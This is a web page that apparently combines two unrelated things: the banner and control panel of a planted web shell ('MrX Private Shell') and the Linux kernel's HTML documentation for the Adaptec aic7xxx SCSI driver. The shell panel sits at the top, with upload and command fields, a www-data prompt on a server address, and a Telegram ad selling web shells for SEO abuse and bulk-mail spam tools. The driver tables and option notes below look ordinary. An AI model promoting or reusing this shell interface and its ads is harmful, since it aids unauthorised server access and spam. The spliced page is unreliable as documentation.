__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.173: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Adaptec Aic7xxx Fast -&gt; Ultra160 Family Manager Set v7.0 &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="ARECA FIRMWARE SPEC" href="arcmsr_spec.html" />
    <link rel="prev" title="Adaptec Ultra320 Family Manager Set" href="aic79xx.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../filesystems/index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/scsi/aic7xxx.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="adaptec-aic7xxx-fast-ultra160-family-manager-set-v7-0">
<h1>Adaptec Aic7xxx Fast -&gt; Ultra160 Family Manager Set v7.0<a class="headerlink" href="#adaptec-aic7xxx-fast-ultra160-family-manager-set-v7-0" title="Link to this heading">¶</a></h1>
<p>README for The Linux Operating System</p>
<p>The following information is available in this file:</p>
<blockquote>
<div><ol class="arabic simple">
<li><p>Supported Hardware</p></li>
<li><p>Version History</p></li>
<li><p>Command Line Options</p></li>
<li><p>Contacting Adaptec</p></li>
</ol>
</div></blockquote>
<section id="supported-hardware">
<h2>1. Supported Hardware<a class="headerlink" href="#supported-hardware" title="Link to this heading">¶</a></h2>
<blockquote>
<div><p>The following Adaptec SCSI Chips and Host Adapters are supported by
the aic7xxx driver.</p>
<table class="docutils align-default">
<thead>
<tr class="row-odd"><th class="head"><p>Chip</p></th>
<th class="head"><p>MIPS</p></th>
<th class="head"><p>Host Bus</p></th>
<th class="head"><p>MaxSync</p></th>
<th class="head"><p>MaxWidth</p></th>
<th class="head"><p>SCBs</p></th>
<th class="head"><p>Notes</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>aic7770</p></td>
<td><p>10</p></td>
<td><p>EISA/VL</p></td>
<td><p>10MHz</p></td>
<td><p>16Bit</p></td>
<td><p>4</p></td>
<td><p>1</p></td>
</tr>
<tr class="row-odd"><td><p>aic7850</p></td>
<td><p>10</p></td>
<td><p>PCI/32</p></td>
<td><p>10MHz</p></td>
<td><p>8Bit</p></td>
<td><p>3</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>aic7855</p></td>
<td><p>10</p></td>
<td><p>PCI/32</p></td>
<td><p>10MHz</p></td>
<td><p>8Bit</p></td>
<td><p>3</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>aic7856</p></td>
<td><p>10</p></td>
<td><p>PCI/32</p></td>
<td><p>10MHz</p></td>
<td><p>8Bit</p></td>
<td><p>3</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>aic7859</p></td>
<td><p>10</p></td>
<td><p>PCI/32</p></td>
<td><p>20MHz</p></td>
<td><p>8Bit</p></td>
<td><p>3</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>aic7860</p></td>
<td><p>10</p></td>
<td><p>PCI/32</p></td>
<td><p>20MHz</p></td>
<td><p>8Bit</p></td>
<td><p>3</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>aic7870</p></td>
<td><p>10</p></td>
<td><p>PCI/32</p></td>
<td><p>10MHz</p></td>
<td><p>16Bit</p></td>
<td><p>16</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>aic7880</p></td>
<td><p>10</p></td>
<td><p>PCI/32</p></td>
<td><p>20MHz</p></td>
<td><p>16Bit</p></td>
<td><p>16</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>aic7890</p></td>
<td><p>20</p></td>
<td><p>PCI/32</p></td>
<td><p>40MHz</p></td>
<td><p>16Bit</p></td>
<td><p>16</p></td>
<td><p>3 4 5 6 7 8</p></td>
</tr>
<tr class="row-odd"><td><p>aic7891</p></td>
<td><p>20</p></td>
<td><p>PCI/64</p></td>
<td><p>40MHz</p></td>
<td><p>16Bit</p></td>
<td><p>16</p></td>
<td><p>3 4 5 6 7 8</p></td>
</tr>
<tr class="row-even"><td><p>aic7892</p></td>
<td><p>20</p></td>
<td><p>PCI/64-66</p></td>
<td><p>80MHz</p></td>
<td><p>16Bit</p></td>
<td><p>16</p></td>
<td><p>3 4 5 6 7 8</p></td>
</tr>
<tr class="row-odd"><td><p>aic7895</p></td>
<td><p>15</p></td>
<td><p>PCI/32</p></td>
<td><p>20MHz</p></td>
<td><p>16Bit</p></td>
<td><p>16</p></td>
<td><p>2 3 4 5</p></td>
</tr>
<tr class="row-even"><td><p>aic7895C</p></td>
<td><p>15</p></td>
<td><p>PCI/32</p></td>
<td><p>20MHz</p></td>
<td><p>16Bit</p></td>
<td><p>16</p></td>
<td><p>2 3 4 5     8</p></td>
</tr>
<tr class="row-odd"><td><p>aic7896</p></td>
<td><p>20</p></td>
<td><p>PCI/32</p></td>
<td><p>40MHz</p></td>
<td><p>16Bit</p></td>
<td><p>16</p></td>
<td><p>2 3 4 5 6 7 8</p></td>
</tr>
<tr class="row-even"><td><p>aic7897</p></td>
<td><p>20</p></td>
<td><p>PCI/64</p></td>
<td><p>40MHz</p></td>
<td><p>16Bit</p></td>
<td><p>16</p></td>
<td><p>2 3 4 5 6 7 8</p></td>
</tr>
<tr class="row-odd"><td><p>aic7899</p></td>
<td><p>20</p></td>
<td><p>PCI/64-66</p></td>
<td><p>80MHz</p></td>
<td><p>16Bit</p></td>
<td><p>16</p></td>
<td><p>2 3 4 5 6 7 8</p></td>
</tr>
</tbody>
</table>
<ol class="arabic simple">
<li><p>Multiplexed Twin Channel Device - One controller servicing two
busses.</p></li>
<li><p>Multi-function Twin Channel Device - Two controllers on one chip.</p></li>
<li><p>Command Channel Secondary DMA Engine - Allows scatter gather list
and SCB prefetch.</p></li>
<li><p>64 Byte SCB Support - Allows disconnected, untagged request table
for all possible target/lun combinations.</p></li>
<li><p>Block Move Instruction Support - Doubles the speed of certain
sequencer operations.</p></li>
<li><p>‘Bayonet’ style Scatter Gather Engine - Improves S/G prefetch
performance.</p></li>
<li><p>Queuing Registers - Allows queuing of new transactions without
pausing the sequencer.</p></li>
<li><p>Multiple Target IDs - Allows the controller to respond to selection
as a target on multiple SCSI IDs.</p></li>
</ol>
<table class="docutils align-default">
<thead>
<tr class="row-odd"><th class="head"><p>Controller</p></th>
<th class="head"><p>Chip</p></th>
<th class="head"><p>Host-Bus</p></th>
<th class="head"><p>Int-Connectors</p></th>
<th class="head"><p>Ext-Connectors</p></th>
<th class="head"><p>Notes</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>AHA-274X[A]</p></td>
<td><p>aic7770</p></td>
<td><p>EISA</p></td>
<td><p>SE-50M</p></td>
<td><p>SE-HD50F</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-274X[A]W</p></td>
<td><p>aic7770</p></td>
<td><p>EISA</p></td>
<td><p>SE-HD68F
SE-50M</p></td>
<td><p>SE-HD68F</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-274X[A]T</p></td>
<td><p>aic7770</p></td>
<td><p>EISA</p></td>
<td><p>2 X SE-50M</p></td>
<td><p>SE-HD50F</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-2842</p></td>
<td><p>aic7770</p></td>
<td><p>VL</p></td>
<td><p>SE-50M</p></td>
<td><p>SE-HD50F</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-2940AU</p></td>
<td><p>aic7860</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td><p>SE-HD50F</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AVA-2902I</p></td>
<td><p>aic7860</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AVA-2902E</p></td>
<td><p>aic7860</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AVA-2906</p></td>
<td><p>aic7856</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td><p>SE-DB25F</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>APC-7850</p></td>
<td><p>aic7850</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td></td>
<td><p>1</p></td>
</tr>
<tr class="row-odd"><td><p>AVA-2940</p></td>
<td><p>aic7860</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-2920B</p></td>
<td><p>aic7860</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-2930B</p></td>
<td><p>aic7860</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-2920C</p></td>
<td><p>aic7856</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td><p>SE-HD50F</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-2930C</p></td>
<td><p>aic7860</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-2930C</p></td>
<td><p>aic7860</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-2910C</p></td>
<td><p>aic7860</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-2915C</p></td>
<td><p>aic7860</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-2940AU/CN</p></td>
<td><p>aic7860</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td><p>SE-HD50F</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-2944W</p></td>
<td><p>aic7870</p></td>
<td><p>PCI/32</p></td>
<td><p>HVD-HD68F
HVD-50M</p></td>
<td><p>HVD-HD68F</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-3940W</p></td>
<td><p>aic7870</p></td>
<td><p>PCI/32</p></td>
<td><p>2 X SE-HD68F</p></td>
<td><p>SE-HD68F</p></td>
<td><p>2</p></td>
</tr>
<tr class="row-even"><td><p>AHA-2940UW</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-HD68F
SE-50M</p></td>
<td><p>SE-HD68F</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-2940U</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-50M</p></td>
<td><p>SE-HD50F</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-2940D</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>aHA-2940 A/T</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-2940D A/T</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-3940UW</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td><p>2 X SE-HD68F</p></td>
<td><p>SE-HD68F</p></td>
<td><p>3</p></td>
</tr>
<tr class="row-even"><td><p>AHA-3940UWD</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td><p>2 X SE-HD68F</p></td>
<td><p>2 X SE-VHD68F</p></td>
<td><p>3</p></td>
</tr>
<tr class="row-odd"><td><p>AHA-3940U</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td><p>2 X SE-50M</p></td>
<td><p>SE-HD50F</p></td>
<td><p>3</p></td>
</tr>
<tr class="row-even"><td><p>AHA-2944UW</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td><p>HVD-HD68F
HVD-50M</p></td>
<td><p>HVD-HD68F</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-3944UWD</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td><p>2 X HVD-HD68F</p></td>
<td><p>2 X HVD-VHD68F</p></td>
<td><p>3</p></td>
</tr>
<tr class="row-even"><td><p>AHA-4944UW</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-2930UW</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-2940UW Pro</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td><p>SE-HD68F
SE-50M</p></td>
<td><p>SE-HD68F</p></td>
<td><p>4</p></td>
</tr>
<tr class="row-odd"><td><p>AHA-2940UW/CN</p></td>
<td><p>aic7880</p></td>
<td><p>PCI/32</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-2940UDual</p></td>
<td><p>aic7895</p></td>
<td><p>PCI/32</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-2940UWDual</p></td>
<td><p>aic7895</p></td>
<td><p>PCI/32</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-3940UWD</p></td>
<td><p>aic7895</p></td>
<td><p>PCI/32</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-3940AUW</p></td>
<td><p>aic7895</p></td>
<td><p>PCI/32</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-3940AUWD</p></td>
<td><p>aic7895</p></td>
<td><p>PCI/32</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-3940AU</p></td>
<td><p>aic7895</p></td>
<td><p>PCI/32</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-3944AUWD</p></td>
<td><p>aic7895</p></td>
<td><p>PCI/32</p></td>
<td><p>2 X HVD-HD68F</p></td>
<td><p>2 X HVD-VHD68F</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-2940U2B</p></td>
<td><p>aic7890</p></td>
<td><p>PCI/32</p></td>
<td><p>LVD-HD68F</p></td>
<td><p>LVD-HD68F</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-2940U2 OEM</p></td>
<td><p>aic7891</p></td>
<td><p>PCI/64</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-2940U2W</p></td>
<td><p>aic7890</p></td>
<td><p>PCI/32</p></td>
<td><p>LVD-HD68F
SE-HD68F
SE-50M</p></td>
<td><p>LVD-HD68F</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-2950U2B</p></td>
<td><p>aic7891</p></td>
<td><p>PCI/64</p></td>
<td><p>LVD-HD68F</p></td>
<td><p>LVD-HD68F</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-2930U2</p></td>
<td><p>aic7890</p></td>
<td><p>PCI/32</p></td>
<td><p>LVD-HD68F
SE-50M</p></td>
<td><p>SE-HD50F</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-3950U2B</p></td>
<td><p>aic7897</p></td>
<td><p>PCI/64</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-3950U2D</p></td>
<td><p>aic7897</p></td>
<td><p>PCI/64</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-29160</p></td>
<td><p>aic7892</p></td>
<td><p>PCI/64-66</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-29160 CPQ</p></td>
<td><p>aic7892</p></td>
<td><p>PCI/64-66</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-29160N</p></td>
<td><p>aic7892</p></td>
<td><p>PCI/32</p></td>
<td><p>LVD-HD68F
SE-50M</p></td>
<td><p>SE-HD50F</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-29160LP</p></td>
<td><p>aic7892</p></td>
<td><p>PCI/64-66</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-19160</p></td>
<td><p>aic7892</p></td>
<td><p>PCI/64-66</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-29150LP</p></td>
<td><p>aic7892</p></td>
<td><p>PCI/64-66</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-29130LP</p></td>
<td><p>aic7892</p></td>
<td><p>PCI/64-66</p></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-3960D</p></td>
<td><p>aic7899</p></td>
<td><p>PCI/64-66</p></td>
<td><p>2 X LVD-HD68F
LVD-50M</p></td>
<td><p>2 X LVD-VHD68F</p></td>
<td></td>
</tr>
<tr class="row-even"><td><p>AHA-3960D CPQ</p></td>
<td><p>aic7899</p></td>
<td><p>PCI/64-66</p></td>
<td><p>2 X LVD-HD68F
LVD-50M</p></td>
<td><p>2 X LVD-VHD68F</p></td>
<td></td>
</tr>
<tr class="row-odd"><td><p>AHA-39160</p></td>
<td><p>aic7899</p></td>
<td><p>PCI/64-66</p></td>
<td><p>2 X LVD-HD68F
LVD-50M</p></td>
<td><p>2 X LVD-VHD68F</p></td>
<td></td>
</tr>
</tbody>
</table>
<ol class="arabic simple">
<li><p>No BIOS support</p></li>
<li><p>DEC21050 PCI-PCI bridge with multiple controller chips on secondary bus</p></li>
<li><p>DEC2115X PCI-PCI bridge with multiple controller chips on secondary bus</p></li>
<li><p>All three SCSI connectors may be used simultaneously without
SCSI “stub” effects.</p></li>
</ol>
</div></blockquote>
</section>
<section id="version-history">
<h2>2. Version History<a class="headerlink" href="#version-history" title="Link to this heading">¶</a></h2>
<blockquote>
<div><ul class="simple">
<li><dl class="simple">
<dt>7.0          (4th August, 2005)</dt><dd><ul>
<li><p>Updated driver to use SCSI transport class infrastructure</p></li>
<li><p>Upported sequencer and core fixes from last adaptec released
version of the driver.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>6.2.36 (June 3rd, 2003)</dt><dd><ul>
<li><p>Correct code that disables PCI parity error checking.</p></li>
<li><p>Correct and simplify handling of the ignore wide residue
message.  The previous code would fail to report a residual
if the transaction data length was even and we received
an IWR message.</p></li>
<li><p>Add support for the 2.5.X EISA framework.</p></li>
<li><p>Update for change in 2.5.X SCSI proc FS interface.</p></li>
<li><p>Correct Domain Validation command-line option parsing.</p></li>
<li><p>When negotiation async via an 8bit WDTR message, send
an SDTR with an offset of 0 to be sure the target
knows we are async.  This works around a firmware defect
in the Quantum Atlas 10K.</p></li>
<li><p>Clear PCI error state during driver attach so that we
don’t disable memory mapped I/O due to a stray write
by some other driver probe that occurred before we
claimed the controller.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>6.2.35 (May 14th, 2003)</dt><dd><ul>
<li><p>Fix a few GCC 3.3 compiler warnings.</p></li>
<li><p>Correct operation on EISA Twin Channel controller.</p></li>
<li><p>Add support for 2.5.X’s <a class="reference internal" href="../driver-api/scsi.html#c.scsi_report_device_reset" title="scsi_report_device_reset"><code class="xref c c-func docutils literal notranslate"><span class="pre">scsi_report_device_reset()</span></code></a>.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>6.2.34 (May 5th, 2003)</dt><dd><ul>
<li><p>Fix locking regression introduced in 6.2.29 that
could cause a lock order reversal between the io_request_lock
and our per-softc lock.  This was only possible on RH9,
SuSE, and kernel.org 2.4.X kernels.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>6.2.33 (April 30th, 2003)</dt><dd><ul>
<li><p>Dynamically disable PCI parity error reporting after
10 errors are reported to the user.  These errors are
the result of some other device issuing PCI transactions
with bad parity.  Once the user has been informed of the
problem, continuing to report the errors just degrades
our performance.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>6.2.32 (March 28th, 2003)</dt><dd><ul>
<li><p>Dynamically sized S/G lists to avoid SCSI malloc
pool fragmentation and SCSI mid-layer deadlock.</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>6.2.28 (January 20th, 2003)</dt><dd><ul>
<li><p>Domain Validation Fixes</p></li>
<li><p>Add ability to disable PCI parity error checking.</p></li>
<li><p>Enhanced Memory Mapped I/O probe</p></li>
</ul>
</dd>
</dl>
</li>
<li><dl class="simple">
<dt>6.2.20 (November 7th, 2002)</dt><dd><ul>
<li><p>Added Domain Validation.</p></li>
</ul>
</dd>
</dl>
</li>
</ul>
</div></blockquote>
</section>
<section id="command-line-options">
<h2>3. Command Line Options<a class="headerlink" href="#command-line-options" title="Link to this heading">¶</a></h2>
<blockquote>
<div><blockquote>
<div><div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>ALTERING OR ADDING THESE DRIVER PARAMETERS
INCORRECTLY CAN RENDER YOUR SYSTEM INOPERABLE.
USE THEM WITH CAUTION.</p>
</div>
</div></blockquote>
<p>Put a .conf file in the /etc/modprobe.d directory and add/edit a
line containing <code class="docutils literal notranslate"><span class="pre">options</span> <span class="pre">aic7xxx</span> <span class="pre">aic7xxx=[command[,command...]]</span></code> where
<code class="docutils literal notranslate"><span class="pre">command</span></code> is one or more of the following:</p>
</div></blockquote>
<p>verbose</p>
<blockquote>
<div><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>enable additional informative messages during driver operation.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>This option is a flag</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>disabled</p>
</dd>
</dl>
</div></blockquote>
<p>debug:[value]</p>
<blockquote>
<div><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Enables various levels of debugging information</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>0x0000 = no debugging, 0xffff = full debugging</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
<dd class="field-odd"><p>0x0000</p>
</dd>
</dl>
</div></blockquote>
<p>no_probe</p>
<p>probe_eisa_vl</p>
<blockquote>
<div><dl class="field-list simple">
<dt class="field-odd">Definition<span class="colon">:</span></dt>
<dd class="field-odd"><p>Do not probe for EISA/VLB controllers.
This is a toggle.  If the driver is compiled
to not probe EISA/VLB controllers by default,
specifying “no_probe” will enable this probing.
If the driver is compiled to probe EISA/VLB
controllers by default, specifying “no_probe”
will disable this probing.</p>
</dd>
<dt class="field-even">Possible Values<span class="colon">:</span></dt>
<dd class="field-even"><p>This option is a toggle</p>
</dd>
<dt class="field-odd">Default Value<span class="colon">:</span></dt>
